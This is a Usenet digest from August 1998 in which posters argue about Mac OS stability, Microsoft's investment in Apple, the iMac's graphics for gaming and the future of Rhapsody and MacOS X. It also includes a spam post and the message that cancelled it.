References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net> <kindall-0708981043440001@nic-c41-094.mw.mediaone.net>
In article <kindall-0708981043440001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> In article <joe.ragosta-0708980834340001@wil86.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > This is useless.
> >
> > Anyone who's getting a crash every 3-4 hours without doing something about
> > it is not skilled enough to be taken seriously. A properly configured Mac
> > _or_ Win95 system shouldn't be crashing more than a couple of times a week
> > AT MOST.
>
> A computer system that needs to be "properly configured" not to crash
> every 3-4 hours has serious problems, in the big picture, especially when
> it started life as the computer "for the rest of us." Any kind of crash
> is the ultimate user-unfriendly action.
Sorry to disappoint you, but _any_ computer system needs to be properly
configured to work properly.
Fortunately, it's much easier to do so on the Mac. If you merely do a
clean installation and leave it alone (with an occasional desktop
rebuild), you'll be OK.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 11:18:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Message-ID: <joe.ragosta-0708981118110001@wil56.dol.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CB109C.DE7@frontiernet.net>
In article <35CB109C.DE7@frontiernet.net>, cfischer
<cfischer@frontiernet.net> wrote:
> Jonathan W Hendry wrote:
> >
> > In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
> >
> > > Nah. Apple is now a subsidiary, for all practical purposes, or a
> > > "protectorate" if you like, of M$. The money from Gates is NOT
> > > charity and it DOES carry tentacles that bind.
> >
> > Nonsense. The shares are 'non-voting', which means they have no
> > say. Microsoft has influence, but it's not due to their token
> > investment (which was pocket change to Apple). Microsoft's
> > influence stems entirely from their software.
> >
>
> I agree with what you're saying, but it wasn't pocket change to
> Apple, they were hemoragging cash at the time. There was a
> question as to whether they could stay in business at the time.
Nonsense. Apple had over a billion dollars in cash. They didn't need that
money to stay in business.
>
> That, of course, seems silly now.
True. But, the idea that Apple needed the money to stay solvent was silly
then, too.
>
> It was less than pocket change to Microsoft.
True.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 09:03:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0708980903350001@wil86.dol.net>
References: <35c9bbb1.0@news.depaul.edu> <B1EF9081-2A368@206.165.43.105> <35ca4ac3.0@news.depaul.edu>
In article <35ca4ac3.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
> > The point, as I meant to make it, was comparing the cost of using the G4 at
> > a certain speed (benchmark score) vs using the SOI-based G3's.
>
> You're assuming that the G4 won't get SOI. Why? There is no evidence
> on which to base that conclusion.
It's probably fair to say the _first_ G4 won't have SOI. Since Motorola's
supposed to be sampling them later this year, I doubt if they'd have time
to get up to speed.
Even IBM probably wouldn't release the first G4 on SOI. You normally start
out a new processor with proven technology.
Of course, I expect that the G4 will be there eventually.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 11:20:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0708981120370001@wil56.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <ExBo1z.sI.0.queen@torfree.net>
In article <ExBo1z.sI.0.queen@torfree.net>, da728@torfree.net (Karl
Knechtel) wrote:
> bobstaff@jhunix.hcf.jhu.edu wrote:
> : In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
> : don.brown@cesoft.com (Donald Brown) wrote:
> : > Win95 - B+
> : > MacOS 6.x and earlier - C-
> : > MacOS 7.x - C to C+
> : > MacOS 8 - B
> : >
> : I would have put...
>
> : Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
> : crashes, tho)
> : WinNT - c+ (Once per 6-8 hours of solid use)
> : MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
>
> : Win95 and MacOS crash about the same for me (a lot). WinNT crashes _less_
> : but not enough to make me happy. Maybe its just me?
>
> : dIsCoRd
>
> It seems people are extrapolating backwards and assuming that System 6.x is
> horribly instable just because of how awful some of the 7.5.x versions were.
> I am currently using a box with System 6.0.7 and do quite a bit of work. My
> experience of its stability is:
>
> MacOS 6.0.7 - a (Once per 10-14 days of 3-4 hours of solid use each day,
> some instabilities, some nasty crashes, mostly simple system bombs i.e.
> the Restart button actually restarts the computer).
You're right. Now that I think about it, System 6 was very solid most of
the time. System 7.5.2 was probably the low point. So, stability declined
from 6.0.7 to 7.5.2 and has risen again.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 11:34:27 -0400
Organization: Manual Labor
Message-ID: <kindall-0708981134270001@nic-c41-094.mw.mediaone.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net> <kindall-0708981043440001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0708981119420001@wil56.dol.net>
In article <joe.ragosta-0708981119420001@wil56.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <kindall-0708981043440001@nic-c41-094.mw.mediaone.net>,
> kindall@mail.manual.com (Jerry Kindall) wrote:
>
> > In article <joe.ragosta-0708980834340001@wil86.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > This is useless.
> > >
> > > Anyone who's getting a crash every 3-4 hours without doing something about
> > > it is not skilled enough to be taken seriously. A properly configured Mac
> > > _or_ Win95 system shouldn't be crashing more than a couple of times a week
> > > AT MOST.
> >
> > A computer system that needs to be "properly configured" not to crash
> > every 3-4 hours has serious problems, in the big picture, especially when
> > it started life as the computer "for the rest of us." Any kind of crash
> > is the ultimate user-unfriendly action.
>
> Sorry to disappoint you, but _any_ computer system needs to be properly
> configured to work properly.
Yes, that's currently true. In the big picture, the computer should
handle much more of the details by itself, or at least give me more
information on what's wrong and suggestions on how to fix it and prevent
the most egregious programming errors.
> Fortunately, it's much easier to do so on the Mac. If you merely do a
> clean installation and leave it alone (with an occasional desktop
> rebuild), you'll be OK.
You forgot to mention "and never add any third-party hardware or software
to the computer." Clean installs aren't a panacea, and rebuilding the
desktop is useful only for a certain class of problems. Neither is voodoo
that will solve real conflicts, which do happen occasionally.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 10:45:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CB2109.15819EC5@ericsson.com>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net> <35CA6F0E.6E27@exu.ericsson.se> <joe.ragosta-0708980924190001@wil86.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
> Thanks for proving the point.
>
> Serious gamers are going to want to upgrade their video cards when a new
> generation of card comes out. That, by definition, rules out the iMac,
> anyway. Those people should be looking at the PowerMac G3.
Any gamer is going to want to play games. You cannot justify substandard
hardware by inventing a group of people called "serious gamers" and
assuming that anyone who does not fit the loaded description will not
care. Ach, I don't need to prove it to you. See for yourself how much
gaming attention the iMac will get.
> No matter what graphics you put into a computer, it's no longer state of
> the art in 6 months
Precisely, which is why anyone who wants to play games will buy
something expandable. The iMac will be obsolete for games when it first
ships. How will it seem in two years when these buyers still expect
gaming performance? Oops, I forgot about Apple's
two-year-to-obsolescence plan.
> for a die-hard gamer. The iMac doesn't fit the bill
> for those people, so the graphics capability is not the issue.
Head in sand, as ever.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 10:51:35 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CB2287.C3771B9C@ericsson.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net> <joe.ragosta-0608980741550001@0.0.0.0> <6qcas6$b1e$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0708980534080001@207-172-128-210.s210.tnt1.col.erols.com>
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Steve wrote:
> Why you boys have it all wrong. And to think you don't appreciate my
> consideration. I just tailor what I write to my audience and write in a
> style that they can understand. The 3rd grade level seems to be a cap for
> you.
>
> Which begs the question, if you are so advanced why bother with us?
Because John's all about education.
MJP
From: Patrick O'Neil <poneil@genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 10:02:16 +0000
Organization: University of Utah Computer Center
Message-ID: <35CAD0A8.18AB@genetics.utah.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CB109C.DE7@frontiernet.net>
Mime-Version: 1.0
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> Jonathan W Hendry wrote:
> >
> > In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
> >
> > > Nah. Apple is now a subsidiary, for all practical purposes, or a
> > > "protectorate" if you like, of M$. The money from Gates is NOT
> > > charity and it DOES carry tentacles that bind.
> >
> > Nonsense. The shares are 'non-voting', which means they have no
> > say. Microsoft has influence, but it's not due to their token
> > investment (which was pocket change to Apple). Microsoft's
> > influence stems entirely from their software.
[...]
Officially, that may be true but in reality...bullcrap.
Apple is a pathetic joke with no power in the eyes of M$. If
jobs could screw Gates, that would be a beautiful thing but
he can't. In any case, if it were all to be an either/or
between the bulk of the market having to rely on the good graces
and "humanity" or Jobs or Gates, then there is a problem. They
are both minted from the same coin except that Jobs isn't as
successful as Gates has been (NeXT was DYING...it was, sort of,
saved by wedding it to Apple and MacOS)...Jobs was booted out
of Apple, his own company, fer christ's sake.
> > > Anything and everything from now on that is designed to
> > > "help" Apple is actually a means to fatten the pockets and
> > > power of Gates and M$.
> >
> > That's what they hope. May not turn out that way.
> >
> > > Jobs is a pathetic puppet with an ego nearly as large as Gates'
> >
> > The pipsqueak college student has spoken.
[...]
Hehe. What, did I hit a nerve?
Would you actually deny that Jobs has a massive ego? Or is it
that I simply claim it is not quite as big as Gates' ego? Would
you feel better if I said they had equally (baseless) egos?
patrick
From: stuckey@jaka.ece.uiuc.edu (Tony Stuckey)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 7 Aug 98 17:33:46 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <stuckey.902511226@jaka.ece.uiuc.edu>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <ExBo1z.sI.0.queen@torfree.net>
da728@torfree.net (Karl Knechtel) writes:
>It seems people are extrapolating backwards and assuming that System 6.x is
>horribly instable just because of how awful some of the 7.5.x versions were.
>I am currently using a box with System 6.0.7 and do quite a bit of work. My
>experience of its stability is:
>MacOS 6.0.7 - a (Once per 10-14 days of 3-4 hours of solid use each day,
>some instabilities, some nasty crashes, mostly simple system bombs i.e.
>the Restart button actually restarts the computer).
This is actually worse than my experience with 8.1 on a 6100. By
March, my system had crashed twice in 1998. I use the system for the
majority of my 40-hour work weeks.
Similarly, the 9650/350 server crashed twice in the first five
months of 1998.
I've been working with macs daily for 12 years now, and I've never
seen a mac crash more than once a week without a specifically identifiable
cause.
--
Anthony J. Stuckey stuckey@jaka.ece.uiuc.edu
"When I was young, the sky was full of stars.
I watched them burn out one by one." -Warren Zevon
From: stuckey@jaka.ece.uiuc.edu (Tony Stuckey)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 7 Aug 98 17:38:02 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <stuckey.902511482@jaka.ece.uiuc.edu>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net> <kindall-0708981043440001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0708981119420001@wil56.dol.net> <kindall-0708981134270001@nic-c41-094.mw.mediaone.net>
kindall@mail.manual.com (Jerry Kindall) writes:
>You forgot to mention "and never add any third-party hardware or software
>to the computer." Clean installs aren't a panacea, and rebuilding the
>desktop is useful only for a certain class of problems. Neither is voodoo
>that will solve real conflicts, which do happen occasionally.
No, just avoid the really evil ones.
--
Anthony J. Stuckey stuckey@jaka.ece.uiuc.edu
"When I was young, the sky was full of stars.
I watched them burn out one by one." -Warren Zevon
From: patw@proserv.wustl.edu
Newsgroups: comp.sys.next.advocacy
Subject: !!! Announcing an important information resource The Meta-List
Date: 7 Aug 1998 15:44:38 GMT
Organization: Washington University in St. Louis
Message-ID: <6qf7d6$7hq$1050@newsreader.wustl.edu>
Hi! I posted this using an unregistered copy of Newsgroup AutoPoster PRO!
See a new site on the CAIT Home Page geared towards meeting the needs of the Information
Systems Specialist.
INFORMATION SYSTEMS META-LIST
http://www.cait.wustl.edu
Any additions or recomendations to the Information Systems Meta-List are greatly appreciated.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6qf7d6$7hq$1050@newsreader.wustl.edu>
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Message-ID: <cancel.6qf7d6$7hq$1050@newsreader.wustl.edu>
Sender: patw@proserv.wustl.edu
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 15:17:29 -0400
Organization: Manual Labor
Message-ID: <kindall-0708981517290001@nic-c41-094.mw.mediaone.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net> <kindall-0708981043440001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0708981119420001@wil56.dol.net> <kindall-0708981134270001@nic-c41-094.mw.mediaone.net> <stuckey.902511482@jaka.ece.uiuc.edu>
In article <stuckey.902511482@jaka.ece.uiuc.edu>,
stuckey@jaka.ece.uiuc.edu (Tony Stuckey) wrote:
> kindall@mail.manual.com (Jerry Kindall) writes:
> >You forgot to mention "and never add any third-party hardware or software
> >to the computer." Clean installs aren't a panacea, and rebuilding the
> >desktop is useful only for a certain class of problems. Neither is voodoo
> >that will solve real conflicts, which do happen occasionally.
>
> No, just avoid the really evil ones.
"The really evil ones" are the ones that are difficult to reproduce, are
often caused by multiple software conflicts, cause things to get less
stable over a period of a few hours until the machine crashes, and dont't
go away when you wave a chicken (i.e. do a clean install). Anything you
can get rid of so easily is simply not that evil at all.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: chrisj@airwindows.com (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 14:44:33 -0500
Organization: Airwindows
Message-ID: <chrisj-0708981444340001@usr1a5.bratt.sover.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu>
NNTP-Posting-Date: 7 Aug 1998 18:41:23 GMT
In article <35C9C61C.7AC6@genetics.utah.edu>, Patrick O'Neil
<poneil@genetics.utah.edu> wrote:
> Landivar2 wrote:
> "help" Apple is
> actually a means to fatten the pockets and power of Gates and M$.
> Jobs is a pathetic puppet with an ego nearly as large as Gates'
> patrick
Jobs is a backstabber. _We_ know that- ask a Cyberdog user, ask an
OpenDoc developer. _You_ haven't figured it out yet... which is fine,
because Jobs has done all the backstabbing on Apple projects that he wants
to do- and now it's your turn.
I still have heard nothing to cast doubt on the rumor that Jobs killed
Rhapsody at the behest of Gates. Gates said "Kill 'Rhapsody'. People are
talking about it and stuff- it sounds new and promising- kill it for me,
Steve. I'll let you still have the next Office, and I won't make NT curl
up and die when a Mac box is on the network." Sure this is obscenely
monopolistic, Gates calling the shots at competing companies as well as
his own, but, you know...
Well, looky here- it's something called 'MacOS X'. Can you say 'stealth
Rhapsody'? Can you say 'no different from Rhapsody except that Jobs didn't
actually promise to kill BSD-based multipile-'box'-running NT-competition,
just 'Rhapsody'? I knew you could ;)
Just like Linux people are coming to terms with the fact that their
coolest ally (well, one of them) is, yes, IBM... the Unix folks are going
to have to come to terms with the fact that their most broadly popular
line of defense against NT will happen to be called 'MacOS X'. Isn't the
computer industry strange? You couldn't make this stuff _up_...
Chris Johnson
chrisj@airwindows.com
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 14:36:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CB5752.DB4A33EF@ericsson.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net>
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Chris Johnson wrote:
> I still have heard nothing to cast doubt on the rumor that Jobs killed
> Rhapsody at the behest of Gates. Gates said "Kill 'Rhapsody'. People are
> talking about it and stuff- it sounds new and promising- kill it for me,
> Steve. I'll let you still have the next Office, and I won't make NT curl
> up and die when a Mac box is on the network." Sure this is obscenely
> monopolistic, Gates calling the shots at competing companies as well as
> his own, but, you know...
Whether or not Gates asked Jobs to kill Rhapsody is irrelevant. Jobs has
killed Rhapsody and replaced it with a Windows NT work-alike, complete
with immature new technologies that offer nothing apart from backward
compatibility to recommend themselves. MacOS X cannot be considered
anything remotely resembling a UNIX environment, except to the C
programmer. MacOS X will not offer a new user interface. MacOS X's
application base will not be based on OPENSTEP APIs.
I would to hear of a single reason to prefer MacOS X over Windows NT. I
can't think of one.
[cut]
> Just like Linux people are coming to terms with the fact that their
> coolest ally (well, one of them) is, yes, IBM
Most Linux people do not play power politics, and thus do not keep lists
of "allies" and "players" and "enemies", so IBM means nothing to them,
apart from whatever software IBM may ship to make their lives easier,
which will be receieved with gladness and thanks. Unfortunately, this
reasonable majority is the silent majority, drowned out by a very vocal
and very political minority of preachers who talk of "world domination",
"the destruction of Microsoft", and "the Linux shit list". Pretending to
speak for everyone in the Linux community, these people generally elect
themselves to invented positions and establish a media network to sing
their praises and report their victories in the "war". Big surprise,
there. See if you can name an American President they might be
emulating.
> the Unix folks are going
> to have to come to terms with the fact that their most broadly popular
> line of defense against NT will happen to be called 'MacOS X'. Isn't the
> computer industry strange? You couldn't make this stuff _up_...
Funny. I never thought Unix would find an ally in an operating system
with no command-line, no GNU tools, no standard Unix libraries beyond
those shipping with basic BSD installations, no NFS support, no FTP
server, no remote administration tools, no man pages, and a proprietary,
unlicensed user interface. After all, they never allied themselves with
Windows NT, and it even comes with some of this stuff...
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 7 Aug 1998 20:06:01 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qfmn9$ahb$1@nnrp03.primenet.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com>
<35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net>
Chris Johnson <chrisj@airwindows.com> wrote:
: Just like Linux people are coming to terms with the fact that their
: coolest ally (well, one of them) is, yes, IBM... the Unix folks are going
: to have to come to terms with the fact that their most broadly popular
: line of defense against NT will happen to be called 'MacOS X'. Isn't the
: computer industry strange? You couldn't make this stuff _up_...
I don't see Linux people worrying about IBM getting cool. The websites I
visit are full of celebrations for IBM's support of Apache and their
rumored support for Linux.
If anyone is worried, perhaps it is the ex-hippy companies who think that
they might have been out-hipped by Big Blue?
John
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 16:18:47 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-0708981618470001@pm1-65.ile.infi.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <ExBo1z.sI.0.queen@torfree.net> <stuckey.902511226@jaka.ece.uiuc.edu>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <stuckey.902511226@jaka.ece.uiuc.edu>,
stuckey@jaka.ece.uiuc.edu (Tony Stuckey) wrote:
> da728@torfree.net (Karl Knechtel) writes:
> >It seems people are extrapolating backwards and assuming that System 6.x is
> >horribly instable just because of how awful some of the 7.5.x versions were.
> >I am currently using a box with System 6.0.7 and do quite a bit of work. My
> >experience of its stability is:
>
> >MacOS 6.0.7 - a (Once per 10-14 days of 3-4 hours of solid use each day,
> >some instabilities, some nasty crashes, mostly simple system bombs i.e.
> >the Restart button actually restarts the computer).
>
> This is actually worse than my experience with 8.1 on a 6100. By
> March, my system had crashed twice in 1998. I use the system for the
> majority of my 40-hour work weeks.
> Similarly, the 9650/350 server crashed twice in the first five
> months of 1998.
>
> I've been working with macs daily for 12 years now, and I've never
> seen a mac crash more than once a week without a specifically identifiable
> cause.
> --
> Anthony J. Stuckey stuckey@jaka.ece.uiuc.edu
> "When I was young, the sky was full of stars.
> I watched them burn out one by one." -Warren Zevon
In all of my 13 years of experience with Macs, i can attribute nearly 99%
of *all* conflicts experienced to one thing: Extensions.
I have had a couple of serious "evil" problems (I have experienced a head
crash before; not a pretty sight...) but those are pretty rare.
Personally, MacOS 8.1 has been the most stable version I've ever used. I
typically run this computer seven to eight hours a day (not continuous
use; I put it to sleep a lot. More like 4 hours of "productive" work which
ranges from graphics to spreadsheets to programming.) Under my current
setup and usage, I haven't crashed for over four months (no fatals. I did
have a couple of 'unexpected quits' from beta versions of shareware).
I suppose the reason I have such stability is because about five months
ago I gave up using all of these freeware and shareware extensions that
gave pretty frivolous features (Kaleidoscope, Prettyscroll, those sorts of
things). I also decided to minimize my system heap (and system clutter) by
removing all unnecessary shared libraries, fonts (these things took a LOT
of RAM up on my system), sounds, extensions, and control panels. After a
couple of hours with Symbionts and InformINIT 8.1, I had gottom my system
heap down from 12 megs to 10.7 megs (w/o virtual memory). One of these
days I should probably take a whack at the old preferences folder...
well, that's my rant for the day...
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 7 Aug 98 13:45:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F0B592-3B8B4@206.165.43.185>
References: <joe.ragosta-0708980924190001@wil86.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>
>Serious gamers are going to want to upgrade their video cards when a new
>generation of card comes out. That, by definition, rules out the iMac,
>anyway. Those people should be looking at the PowerMac G3.
>
But that really is our point (or mine, at least). the iMac video should be
replaceable in some fashion, whether via a card, a cartridge or whatever,
it shouldn't be frozen into the motherboard. You have to slide out the MB
to install RAM, so why not to replace the video card/cartridge?
If Apple had done THIS, they would have doubled the iMac target market
since many hard-core PC gamers would buy one just to have as a portable
high-end games console.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
